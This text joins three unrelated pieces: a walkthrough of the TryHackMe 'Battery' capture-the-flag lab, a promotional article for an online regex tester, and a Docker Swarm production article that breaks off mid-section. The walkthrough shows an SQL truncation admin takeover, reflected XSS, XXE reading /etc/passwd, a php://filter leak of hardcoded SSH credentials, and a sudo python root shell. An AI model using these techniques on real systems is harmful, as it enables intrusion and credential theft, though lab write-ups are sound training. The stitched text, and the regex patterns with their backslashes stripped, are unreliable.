TryHackMe | Battery | WALKTHROUGH

LAB:** Battery
DIFFICULTY: Medium
TARGET: flag1.txt, flag2.txt, root.txt
TOOLS: Nmap, Gobuster, BurpSuite
VULNERABLE: SQL Truncation Attack, XML External Entity Injection

First, let’s do some recon using NMAP:

  • -sC – Default script scan
  • -sV – Version detection
  • -O – OS detection
sudo nmap -sC -sV -O {LABS_IP_ADDRESS} 
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-22 22:13 +0800
Nmap scan report for {LABS_IP_ADDRESS}
Host is up (0.28s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 14:6b:67:4c:1e:89:eb:cd:47:a2:40:6f:5f:5c:8c:c2 (DSA)
|   2048 66:42:f7:91:e4:7b:c6:7e:47:17:c6:27:a7:bc:6e:73 (RSA)
|   256 a8:6a:92:ca:12:af:85:42:e4:9c:2b:0e:b5:fb:a8:8b (ECDSA)
|_  256 62:e4:a3:f6:c6:19:ad:30:0a:30:a1:eb:4a:d3:12:d3 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.7 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.98%E=4%D=5/22%OT=22%CT=1%CU=34654%PV=Y%DS=3%DC=I%G=Y%TM=6A1064C
OS:3%P=x86_64-apple-darwin23.6.0)SEQ(SP=102%GCD=1%ISR=108%TI=Z%CI=I%II=I%TS
OS:=8)SEQ(SP=105%GCD=1%ISR=10B%TI=Z%CI=I%II=I%TS=8)SEQ(SP=105%GCD=1%ISR=10D
OS:%TI=Z%CI=I%II=I%TS=8)SEQ(SP=108%GCD=1%ISR=108%TI=Z%CI=I%II=I%TS=8)SEQ(SP
OS:=108%GCD=1%ISR=10A%TI=Z%CI=I%II=I%TS=8)OPS(O1=M4E8ST11NW6%O2=M4E8ST11NW6
OS:%O3=M4E8NNT11NW6%O4=M4E8ST11NW6%O5=M4E8ST11NW6%O6=M4E8ST11)WIN(W1=68DF%W
OS:2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN(R=Y%DF=Y%T=40%W=6903%O=M4E8NN
OS:SNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y
OS:%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR
OS:%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40
OS:%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G
OS:%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 3 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.38 seconds

Here we got open ports: ssh/22 & http/80

Now, i’m going to check whats in port 80:

Here we have a webpage but nothing interesting here. So we need to use Gobuster to find hidden directories.

===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://{LABS_IP_ADDRESS}/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                Documents/pentesting/SecLists-master/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.htaccess            (Status: 403) [Size: 288]
.hta                 (Status: 403) [Size: 283]
.htpasswd            (Status: 403) [Size: 288]
**admin.php            (Status: 200) [Size: 663]**
index.html           (Status: 200) [Size: 406]
**report               (Status: 200) [Size: 16912]**
**scripts              (Status: 301) [Size: 313] [--> http://{LABS_IP_ADDRESS}/scripts/]**
server-status        (Status: 403) [Size: 292]
Progress: 4751 / 4751 (100.00%)
===============================================================
Finished
===============================================================

We got 3 directories to check. Let’s start with /admin.php.

I tried some fake credentials to make sure if it has Information Disclosure, Rate Limiting, or SQL Injection. But what I found instead is that the login page has a 12-character input limit on the username field. We will come back here but first let’s register and check how admin panel looks like.

I discovered reflected XSS in the Account Number parameter of the Transfer Money endpoint. The app fails to encode or validate my input before reflecting it in the HTTP response. This allowed me to execute alert(document.cookie) and view John’s (which we registered as) session cookie.

I also discovered that the app is vulnerable to HTML injection. By inserting HTML tags into the input field, I was able to alter the page’s content and inject custom messages — including the ‘HACKED!!!’ notice shown in the transaction failure message.

Before diving deeper, let’s check what we got in /report.

When you visit http://{LABS_IP_ADDRESS}/report it gives you a file called report. It’s an executable file. We can just hit strings or go with Ghidra. I always start with simple, so let’s use strings:

/lib64/ld-linux-x86-64.so.2
__isoc99_scanf
puts
printf
system
__cxa_finalize
strcmp
__libc_start_main
libc.so.6
GLIBC_2.7
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u/UH
[]AA]A^A_
[email protected]
Password Updated Successfully!
Sorry you can't update the password
Welcome Guest
===================Available Options==============
1. Check users
2. Add user
3. Delete user
4. change password
5. Exit
clear
===============List of active users================
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
Welcome To ABC DEF Bank Managemet System!
UserName : 
Password : 
guest
Your Choice : 
email : 
not available for guest account
Wrong option
Wrong username or password
;*3$"
GCC: (Debian 9.3.0-15) 9.3.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.7452
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
report.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
update
_ITM_deregisterTMCloneTable
puts@@GLIBC_2.2.5
_edata
options
system@@GLIBC_2.2.5
users
printf@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
strcmp@@GLIBC_2.2.5
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
__isoc99_scanf@@GLIBC_2.7
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got.plt
.data
.bss
.comment

We have active users listed here.

But first let’s check how the system works using Ghidra.

I found a hardcoded admin email ([email protected]) inside the update() function. The code compares whatever email I give it with that hardcoded value. If they match, I get to update the password. If not, I’m denied. This means anyone can extract this email from the binary (using Ghidra or strings) and then use it to gain admin access — no authentication needed. Now still we need password to login.

Remember that we had some flaws. We found that there is 12-character limitation in login form. We can use it to register as [email protected] . We’re going take advantage of SQL Truncation Flaw.

IMPORTANT !

First take time to understand the attack.

HOW SQL Truncation Flaw WORKS?

  • The database or application cuts off (truncates) your input after a certain length, and an attacker uses this to bypass security checks.

The Attack!

  • The attacker adds extra characters (like spaces) beyond the column limit so the application checks the full input (safe), but the database only stores the truncated portion which is dangerous, allowing the attacker to inject forbidden values like duplicate usernames or escalate privileges.

In our case:

Now let’s HACK 😉

We go to register page and enter following credentials:

username: [email protected]_____xxx -> (spaces after admin as you wish)
password: YourPasswordHere

Now my favorite part.
Let’s use BurpSuite.

You can use Chromium in BurpSuite or FoxyProxy to capture the request. Go to Proxy tab in BurpSuite and Intercept the request to modify it.

After forwarding the request, we logged in as admin.

If we go to command tab, there is another form. Let’s check what happens in the background.If we go to command tab, there is another form. Let’s check what happens in the background.

This is an XML request. Let’s simply try XXE (XML External Entity).

After sending request. It shows us Linux system file that stores user account information.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
landscape:x:103:109::/var/lib/landscape:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
cyber:x:1000:1000:cyber,,,:/home/cyber:/bin/bash
mysql:x:107:113:MySQL Server,,,:/nonexistent:/bin/false
yash:x:1002:1002:,,,:/home/yash:/bin/bash

Looking that we got usernames called cyber and yash. We can login SSH server using this credentials.

But first, I couldn’t read /acc.php directly because the server executes PHP files instead of returning their source code. So I used php://filter/convert.base64-encode/resource= to read the file as Base64-encoded text, then decoded it to see the actual PHP code and look for passwords.

PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KPHN0eWxlPgpmb3JtCnsKICBib3JkZXI6IDJweCBzb2xpZCBibGFjazsKICBvdXRsaW5lOiAjNENBRjUwIHNvbGlkIDNweDsKICBtYXJnaW46IGF1dG87CiAgd2lkdGg6MTgwcHg7CiAgcGFkZGluZzogMjBweDsKICB0ZXh0LWFsaWduOiBjZW50ZXI7Cn0KCgp1bCB7CiAgbGlzdC1zdHlsZS10eXBlOiBub25lOwogIG1hcmdpbjogMDsKICBwYWRkaW5nOiAwOwogIG92ZXJmbG93OiBoaWRkZW47CiAgYmFja2dyb3VuZC1jb2xvcjogIzMzMzsKfQoKbGkgewogIGZsb2F0OiBsZWZ0OwogIGJvcmRlci1yaWdodDoxcHggc29saWQgI2JiYjsKfQoKbGk6bGFzdC1jaGlsZCB7CiAgYm9yZGVyLXJpZ2h0OiBub25lOwp9CgpsaSBhIHsKICBkaXNwbGF5OiBibG9jazsKICBjb2xvcjogd2hpdGU7CiAgdGV4dC1hbGlnbjogY2VudGVyOwogIHBhZGRpbmc6IDE0cHggMTZweDsKICB0ZXh0LWRlY29yYXRpb246IG5vbmU7Cn0KCmxpIGE6aG92ZXI6bm90KC5hY3RpdmUpIHsKICBiYWNrZ3JvdW5kLWNvbG9yOiAjMTExOwp9CgouYWN0aXZlIHsKICBiYWNrZ3JvdW5kLWNvbG9yOiBibHVlOwp9Cjwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+Cgo8dWw+CiAgPGxpPjxhIGhyZWY9ImRhc2hib2FyZC5waHAiPkRhc2hib2FyZDwvYT48L2xpPgogIDxsaT48YSBocmVmPSJ3aXRoLnBocCI+V2l0aGRyYXcgTW9uZXk8L2E+PC9saT4KICA8bGk+PGEgaHJlZj0iZGVwby5waHAiPkRlcG9zaXQgTW9uZXk8L2E+PC9saT4KICA8bGk+PGEgaHJlZj0idHJhLnBocCI+VHJhbnNmZXIgTW9uZXk8L2E+PC9saT4KICA8bGk+PGEgaHJlZj0iYWNjLnBocCI+TXkgQWNjb3VudDwvYT48L2xpPgogIDxsaT48YSBocmVmPSJmb3Jtcy5waHAiPmNvbW1hbmQ8L2E+PC9saT4KICA8bGk+PGEgaHJlZj0ibG9nb3V0LnBocCI+TG9nb3V0PC9hPjwvbGk+CiAgPGxpIHN0eWxlPSJmbG9hdDpyaWdodCI+PGEgaHJlZj0iY29udGFjdC5waHAiPkNvbnRhY3QgVXM8L2E+PC9saT4KPC91bD48YnI+PGJyPjxicj48YnI+Cgo8L2JvZHk+CjwvaHRtbD4KCjw/cGhwCgpzZXNzaW9uX3N0YXJ0KCk7CmlmKGlzc2V0KCRfU0VTU0lPTlsnZmF2Y29sb3InXSkgYW5kICRfU0VTU0lPTlsnZmF2Y29sb3InXT09PSJhZG1pbkBiYW5rLmEiKQp7CgplY2hvICI8aDMgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+V2VjbG9tZSB0byBBY2NvdW50IGNvbnRyb2wgcGFuZWw8L2gzPiI7CmVjaG8gIjxmb3JtIG1ldGhvZD0nUE9TVCc+IjsKZWNobyAiPGlucHV0IHR5cGU9J3RleHQnIHBsYWNlaG9sZGVyPSdBY2NvdW50IG51bWJlcicgbmFtZT0nYWNubyc+IjsKZWNobyAiPGJyPjxicj48YnI+IjsKZWNobyAiPGlucHV0IHR5cGU9J3RleHQnIHBsYWNlaG9sZGVyPSdNZXNzYWdlJyBuYW1lPSdtc2cnPiI7CmVjaG8gIjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdTZW5kJyBuYW1lPSdidG4nPiI7CmVjaG8gIjwvZm9ybT4iOwovL01ZIENSRURTIDotIGN5YmVyOnN1cGVyI3NlY3VyZSZwYXNzd29yZCEKaWYoaXNzZXQoJF9QT1NUWydidG4nXSkpCnsKJG1zPSRfUE9TVFsnbXNnJ107CmVjaG8gIm1zOiIuJG1zOwppZigkbXM9PT0iaWQiKQp7CnN5c3RlbSgkbXMpOwp9CmVsc2UgaWYoJG1zPT09Indob2FtaSIpCnsKc3lzdGVtKCRtcyk7Cn0KZWxzZQp7CmVjaG8gIjxzY3JpcHQ+YWxlcnQoJ1JDRSBEZXRlY3RlZCEnKTwvc2NyaXB0PiI7CnNlc3Npb25fZGVzdHJveSgpOwp1bnNldCgkX1NFU1NJT05bJ2ZhdmNvbG9yJ10pOwpoZWFkZXIoIlJlZnJlc2g6IDAuMTsgdXJsPWluZGV4Lmh0bWwiKTsKfQp9Cn0KZWxzZQp7CmVjaG8gIjxzY3JpcHQ+YWxlcnQoJ09ubHkgQWRtaW5zIGNhbiBhY2Nlc3MgdGhpcyBwYWdlIScpPC9zY3JpcHQ+IjsKc2Vzc2lvbl9kZXN0cm95KCk7CnVuc2V0KCRfU0VTU0lPTlsnZmF2Y29sb3InXSk7CmhlYWRlcigiUmVmcmVzaDogMC4xOyB1cmw9aW5kZXguaHRtbCIpOwp9Cj8+Cg==

Now lets decode it (you can use online decoders just browsing it).

<!DOCTYPE html>
<html>
<head>
<style>
form
{
  border: 2px solid black;
  outline: #4CAF50 solid 3px;
  margin: auto;
  width:180px;
  padding: 20px;
  text-align: center;
}


ul {
  list-style-type: none;
  margin: 0;
  padding: 0;
  overflow: hidden;
  background-color: #333;
}

li {
  float: left;
  border-right:1px solid #bbb;
}

li:last-child {
  border-right: none;
}

li a {
  display: block;
  color: white;
  text-align: center;
  padding: 14px 16px;
  text-decoration: none;
}

li a:hover:not(.active) {
  background-color: #111;
}

.active {
  background-color: blue;
}
</style>
</head>
<body>

<ul>
  <li><a href="dashboard.php">Dashboard</a></li>
  <li><a href="with.php">Withdraw Money</a></li>
  <li><a href="depo.php">Deposit Money</a></li>
  <li><a href="tra.php">Transfer Money</a></li>
  <li><a href="acc.php">My Account</a></li>
  <li><a href="forms.php">command</a></li>
  <li><a href="logout.php">Logout</a></li>
  <li style="float:right"><a href="contact.php">Contact Us</a></li>
</ul><br><br><br><br>

</body>
</html>

<?php

session_start();
if(isset($_SESSION['favcolor']) and $_SESSION['favcolor']==="[email protected]")
{

echo "<h3 style='text-align:center;'>Weclome to Account control panel</h3>";
echo "<form method='POST'>";
echo "<input type='text' placeholder='Account number' name='acno'>";
echo "<br><br><br>";
echo "<input type='text' placeholder='Message' name='msg'>";
echo "<input type='submit' value='Send' name='btn'>";
echo "</form>";
//MY CREDS :- cyber:super#secure&password!
if(isset($_POST['btn']))
{
$ms=$_POST['msg'];
echo "ms:".$ms;
if($ms==="id")
{
system($ms);
}
else if($ms==="whoami")
{
system($ms);
}
else
{
echo "<script>alert('RCE Detected!')</script>";
session_destroy();
unset($_SESSION['favcolor']);
header("Refresh: 0.1; url=index.html");
}
}
}
else
{
echo "<script>alert('Only Admins can access this page!')</script>";
session_destroy();
unset($_SESSION['favcolor']);
header("Refresh: 0.1; url=index.html");
}
?>

Here we have: //MY CREDS :- cyber:super#secure&password!

Now let’s try to login using SSH.

After logged in, we have flag1.txt. Now lets find others. We got also python file called run.py. But it requires admin privilege. So let’s keep digging.

drwx------ 3 cyber cyber 4096 Nov 17  2020 .
drwxr-xr-x 4 root  root  4096 Nov 16  2020 ..
-rw------- 1 cyber cyber    0 Nov 17  2020 .bash_history
-rw-r--r-- 1 cyber cyber  220 Nov  9  2020 .bash_logout
-rw-r--r-- 1 cyber cyber 3637 Nov  9  2020 .bashrc
drwx------ 2 cyber cyber 4096 Nov  9  2020 .cache
-rw--w---- 1 cyber cyber   85 Nov 15  2020 flag1.txt
-rw-r--r-- 1 cyber cyber  675 Nov  9  2020 .profile
-rwx------ 1 root  root   349 Nov 15  2020 run.py

We don’t have other interesting files but but run.py. Now let’s run sudo -l and check what permissions does Cyber has.

Matching Defaults entries for cyber on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User cyber may run the following commands on ubuntu:
    (root) NOPASSWD: /usr/bin/python3 /home/cyber/run.py

Looking the output, if we can edit or change the run.py file, we can run any python file as root.

cyber@ubuntu:~$ ls -la /home/cyber/run.py
-rwx------ 1 root root 349 Nov 15  2020 /home/cyber/run.py

The owner of the file is root. But we can edit or run files with sudo rights. So, let’s create new run.py and use it to get root access.

First, you can run mv run.py run.py.hack and create new file and run.

cyber@ubuntu:~$ vim run.py
cyber@ubuntu:~$ cat run.py
import os
os.system("/bin/bash")
cyber@ubuntu:~$ sudo /usr/bin/python3 /home/cyber/run.py 
root@ubuntu:~# 

If we go to /home/yash we got flag2.txt. There is also root.txt in the same folder but it throws a message. Let’s go to /root and finish the lab.

root@ubuntu:/# cd root/
root@ubuntu:/root# ls
root.txt
root@ubuntu:/root# cat root.txt 
████████████████████████████████████  
██                                ██  
██  ████  ████  ████  ████  ████  ████
██  ████  ████  ████  ████  ████  ████
██  ████  ████  ████  ████  ████  ████
██  ████  ████  ████  ████  ████  ████
██  ████  ████  ████  ████  ████  ████
██                                ██  
████████████████████████████████████  


                        battery designed by cyberbot :)
                        Please give your reviews on [email protected] or discord cyberbot#1859

THM{ROOT_FLAG}

Hope you found it useful. If you have any other questions. I’m happy to help!!

https://www.linkedin.com/in/mikail-kakabayev

HAPPY HACKING !!!

Stop Guessing Your Regex — Test It Live in the Browser

Regular expressions are one of those things every developer knows they need but nobody enjoys writing blind. You craft a pattern, drop it into your code, run it, and it either matches nothing or matches everything. Then you tweak it, run it again, and repeat until something works.

There is a faster way.

The Problem With Writing Regex in Your Code Editor

When you write regex directly in your code, you have no feedback loop. You write the pattern, write a test string, run the whole program, and check the output. If it is wrong, you tweak and repeat. This loop is slow, especially for complex patterns matching emails, URLs, dates, or log formats.

What you actually need is a live sandbox — type a pattern, type a string, and see matches highlighted in real time. That is exactly what a browser-based regex tester gives you.

The Tool: Regex tester

The Regex Tester at sadiqbd.com/developer/regex-tester is a free, instant, browser-based tool that gives you live feedback as you type — no setup, no login, no ads.

Live match highlighting. As you type your pattern and test string, matches are highlighted instantly. You see exactly what your regex captures in real time, not after running a script.

Flag support. Toggle common regex flags directly in the tool — g for global, i for case-insensitive, m for multiline, s for dotall. No need to remember the syntax for each language.

Match details. The tool shows you each match, its position in the string, and any captured groups. This is invaluable when debugging complex patterns with multiple capture groups.

Runs entirely in the browser. No data is sent to any server. Paste sensitive log data or real strings without worry.

Common Regex Use Cases You Can Test Right Now

Here are patterns worth testing in the tool:

Email validation

^[w.-]+@[w.-]+.[a-zA-Z]{2,}$

URL matching

https?://(www.)?[-a-zA-Z0-9@:%._+~#=]{2,256}.[a-z]{2,6}b([-a-zA-Z0-9@:%_+.~#?&/=]*)

Extract dates in YYYY-MM-DD format

d{4}-d{2}-d{2}

Match IP addresses

bd{1,3}.d{1,3}.d{1,3}.d{1,3}b

Remove extra whitespace

s{2,}

Paste any of these into sadiqbd.com/developer/regex-tester and test them against your own strings instantly.

Regex Flags Explained

If you have ever been confused by regex flags, here is a quick reference:

Flag Meaning
g Global — find all matches, not just the first
i Case-insensitive — A matches a
m Multiline — ^ and $ match start/end of each line
s Dotall — . matches newline characters too

The sadiqbd regex tester lets you toggle these with checkboxes so you can see the difference immediately without rewriting your pattern.

Decoding vs. Debugging Regex

There are two things a regex tester helps you with that are easy to confuse.

Testing means checking if a pattern matches a string. You have a pattern in mind and you want to confirm it works on your input.

Debugging means figuring out why a pattern is not matching what you expect. This is where live highlighting is critical — you can see exactly where the match stops and why.

Both are equally important, and both are faster with a visual tool than with trial-and-error in code.

Other Developer Tools on sadiqbd.com

The Regex Tester is part of a broader free developer toolkit at sadiqbd.com/developer. A few others worth bookmarking:

JWT Decoder — decode and inspect JSON Web Tokens instantly, with expiry status

JSON Formatter — prettify and validate JSON in one click

Base64 Encoder/Decoder — encode or decode Base64 strings without a terminal

Hash Generator — generate MD5, SHA-1, SHA-256, SHA-512 hashes instantly

Timestamp Converter — convert Unix timestamps to human-readable dates and back

UUID Generator — generate RFC 4122-compliant UUIDs on demand

Cron Explainer — paste a cron expression and get a plain-English explanation

All free, all instant, no account required. Full collection at sadiqbd.com.

The Bottom Line

Next time you are writing a regex pattern, do not test it blind inside your code. Open sadiqbd.com/developer/regex-tester, paste your pattern and test string, and see matches highlighted live.

It takes ten seconds and saves you from a debugging loop that could take ten minutes.

Beyond the Hype: My Production Playbook for Docker Swarm

Every time container orchestration comes up, the conversation almost immediately turns into Kubernetes.

And I understand why.

Kubernetes is powerful. It has a huge ecosystem, strong abstractions, custom resources, operators, service meshes, admission controllers, and almost unlimited extensibility. For large organizations running complex multi-tenant platforms, Kubernetes often makes sense.

But after years of working with Linux infrastructure, backend systems, private and public cloud environments, CI/CD pipelines, monitoring stacks, and production deployments, I learned something that is easy to forget:

The best infrastructure is not always the most powerful one. It is the one your team can operate safely under pressure.

This is where Docker Swarm still deserves respect.

I do not see Docker Swarm as a toy, a legacy fallback, or something only suitable for small demos. I see it as a pragmatic orchestration layer for teams that want production-grade container deployment without turning the orchestrator itself into the main project.

In this article, I want to share how I think about Docker Swarm from a senior engineering perspective: not as a beginner tutorial, but as a practical playbook for architecture, security, deployment, monitoring, and real production trade-offs.

No hello-world examples.
No hype.
Just the things that matter when systems are running at 3 AM and someone has to debug them.

Why I Still Take Docker Swarm Seriously

The biggest advantage of Docker Swarm is not that it has more features than Kubernetes.

It does not.

The advantage is that it gives you enough orchestration with much less operational complexity.

If your team already understands Docker and docker-compose, Swarm feels natural. You can move from a single-machine Compose setup to a multi-node cluster without completely changing the mental model.

That matters.

In production, cognitive load is a real cost. Every abstraction you introduce must be learned, documented, monitored, upgraded, secured, and debugged. A more powerful platform can easily become a liability if the team cannot operate it confidently.

For many real-world backend systems, the requirements are very clear:

  • run multiple replicas of an API
  • deploy without downtime
  • rollback automatically when something fails
  • isolate internal services from public traffic
  • keep secrets out of images and environment files
  • monitor node and container health
  • scale horizontally when needed
  • keep the architecture understandable

Docker Swarm can handle these requirements well.

The important point is this: Swarm is not a replacement for Kubernetes in every scenario. But it can be the better engineering choice when simplicity, speed, and operational clarity matter more than infinite extensibility.

Docker Swarm vs Kubernetes: My Practical Comparison

I do not like religious technology debates. Most tools are good or bad depending on the context.

So instead of asking, “Which one is better?”, I prefer to ask:

What operational cost am I accepting, and what business or technical capability am I getting in return?

Here is how I usually compare Docker Swarm and Kubernetes.

Area Docker Swarm Kubernetes
Operational complexity Low High
Learning curve Friendly if you know Docker Compose Steep, with many new abstractions
Control plane Built into Docker Engine Multiple components and etcd
Service discovery Built-in DNS and VIP Built-in, but with more moving parts
Networking Overlay networks and routing mesh CNI-based networking
Extensibility Limited Very high
Ecosystem Smaller Massive
Best fit Simple to medium production systems Large platforms and complex orchestration needs

For example, if you need custom operators, advanced autoscaling, complex RBAC policies, admission controllers, multi-tenant platform engineering, or service mesh integration, Kubernetes is usually the stronger choice.

But if your goal is to run backend services, workers, reverse proxies, queues, internal APIs, and scheduled workloads across a small or medium cluster, Swarm may give you a cleaner path with fewer operational surprises.

In my experience, many teams do not fail because their orchestrator lacks features. They fail because their infrastructure becomes too complex for the team operating it.

The Mental Model: Managers, Workers, Services, and Tasks

Before talking about production architecture, it is important to understand the Swarm model.

A Swarm cluster has two main node roles:

  • Manager nodes maintain cluster state and make scheduling decisions.
  • Worker nodes run the actual containers.

In Swarm, you do not usually think in terms of individual containers. You think in terms of services.

A service defines the desired state:

  • which image to run
  • how many replicas should exist
  • which networks it should join
  • which secrets it needs
  • which constraints control placement
  • how updates and rollbacks should happen

Swarm then creates tasks to satisfy that desired state. A task is basically one running instance of a service.

This desired-state model is one of the most important ideas in orchestration. You are no longer manually saying, “Run this container here.” You are saying, “I want five replicas of this service, and I want them to follow these rules.”

The orchestrator continuously tries to make reality match that desired state.

That sounds simple, but it changes how you design deployments.

Raft, Quorum, and Why Manager Count Matters

Manager nodes in Docker Swarm use the Raft consensus algorithm to maintain cluster state.

This is one of the most important production details.

Raft needs quorum. In simple terms, the cluster must have a majority of managers available to make decisions.

The formula is:

quorum = (number_of_managers / 2) + 1

This leads to one very practical rule:

Do not run an even number of manager nodes.

If you run two managers and lose one, the cluster cannot maintain quorum. If a network partition happens, you can end up with an unavailable control plane.

For most production Swarm clusters, I prefer:

  • 1 manager for small non-critical environments
  • 3 managers for serious production
  • 5 managers for larger or more resilient setups

I rarely see a good reason to go beyond five managers. More managers increase coordination overhead and do not automatically make your system better.

Also, managers should be treated carefully. They are not just “normal servers.” They hold the cluster state. If they are overloaded, unstable, or poorly secured, the whole cluster becomes fragile.

My Rule: Managers Manage, Workers Work

One of the first production mistakes I try to avoid is running application workloads on manager nodes.

Yes, Docker Swarm technically allows it.

But in a serious environment, I prefer to drain manager nodes:

docker node update --availability drain <manager-node-name>

This prevents normal application tasks from being scheduled on that manager.

Why?

Because manager nodes are responsible for orchestration, scheduling, cluster state, and Raft communication. If your application has a traffic spike, a memory leak, noisy logs, or heavy CPU usage, you do not want that to compete with the control plane.

A clean separation is easier to reason about:

  • managers handle cluster decisions
  • workers run application workloads
  • edge nodes handle public traffic when needed
  • monitoring nodes handle metrics and dashboards when possible

This separation may look boring, but boring infrastructure is usually what you want in production.

Networking: The Part You Must Understand Before Production

Docker Swarm networking is powerful, but you need to understand what it is doing.

Swarm gives you overlay networks. Services attached to the same overlay network can communicate with each other by service name.

For example, your API can connect to Redis using:

redis:6379

instead of hardcoding an IP address.

That is useful because tasks can move between nodes, containers can restart, and IP addresses can change. Service discovery hides that complexity.

But there are two important networking concepts you must understand: VIP mode and DNSRR mode.

VIP Mode and the Routing Mesh

By default, Swarm gives a service a Virtual IP, or VIP.

When another service connects to that VIP, Docker uses internal load balancing to route traffic to one of the active tasks.

This is convenient. It gives you service-level load balancing without installing an external load balancer for internal traffic.

Swarm also has the routing mesh. When you publish a port, traffic can arrive on any node in the cluster and still be routed to a container running somewhere else.

For example:

ports:
  - target: 8080
    published: 8080
    protocol: tcp

With the routing mesh, a request to port 8080 on any node can reach the service.

This is useful, but it also has trade-offs.

The biggest one: preserving the real client IP can become difficult. If you need accurate client IPs for rate limiting, security logs, fraud checks, or WAF rules, you need to be careful.

In those cases, I often prefer publishing ports in host mode at the edge:

ports:
  - target: 443
    published: 443
    protocol: tcp
    mode: host

This bypasses the routing mesh for that published port and gives you more predictable network behavior at the cost of less automatic distribution.

In production, I usually prefer a clear edge layer using Nginx, Traefik, or HAProxy instead of exposing many services directly through the routing mesh.

DNSRR Mode: When You Want More Control

VIP mode is simple, but sometimes you want the client or an upstream proxy to see all task IPs directly.

That is where DNS round-robin mode can help.

You can configure endpoint mode like this:

deploy:
  endpoint_mode: dnsrr

In this mode, DNS returns multiple task IPs instead of a single VIP.

This can be useful when you have an external load balancer, a custom proxy layer, or a system that needs direct awareness of backend instances.

But I would not use DNSRR everywhere by default. VIP mode is usually simpler. DNSRR is useful when you have a specific reason for it.

That is a general production rule I follow:

Do not choose a more advanced mode just because it exists. Choose it when it solves a real operational problem.

Security: Swarm Gives You Good Primitives, But You Must Use Them Correctly

Security in container orchestration is not one feature. It is a posture.

Docker Swarm gives you useful security primitives:

  • mutual TLS between nodes
  • encrypted manager communication
  • overlay networks
  • secrets
  • service constraints
  • least-exposure networking

But these primitives only help if the architecture uses them properly.

A weak Swarm setup usually has the same problems I see in many weak Docker setups:

  • public services attached to internal networks unnecessarily
  • secrets stored in .env files
  • manager nodes running random workloads
  • no resource limits
  • no clear firewall rules
  • too many published ports
  • no monitoring for abnormal behavior
  • no separation between frontend and backend networks

The goal is not to make containers magically secure. The goal is to reduce blast radius.

Use Docker Secrets Instead of Environment Variables

One of the easiest security improvements is to stop passing sensitive values through environment variables.

